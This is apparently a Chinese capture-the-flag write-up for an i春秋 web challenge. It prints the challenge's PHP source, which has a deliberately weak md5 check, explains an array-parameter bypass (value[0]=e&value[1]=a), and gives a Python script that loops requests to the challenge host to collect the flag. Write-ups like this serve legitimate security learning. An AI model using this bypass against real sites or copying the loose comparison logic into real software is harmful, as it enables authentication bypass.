i春秋-web-爆破-3

原创

a3uRa 于 2018-08-29 10:43:16 发布


```php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>
```

代码审计，发现可以手动爆破，滑稽，然后根据页面返回，请求十次
md5不能处理数组，所以可以用数组绕过
?value[0]=e&value[1]=a
也可以写个脚本py

```python
import requests
s=requests.session()

url='http://0993a985319446889263ad893181352036df859756b6405d.game.ichunqiu.com/?value[]='

a=s.get(url+'ea')
for i in range(11):
    b=s.get(url+a.text[:2])
    a=b
    if 'flag{' in a.text:
        print(a.text)
```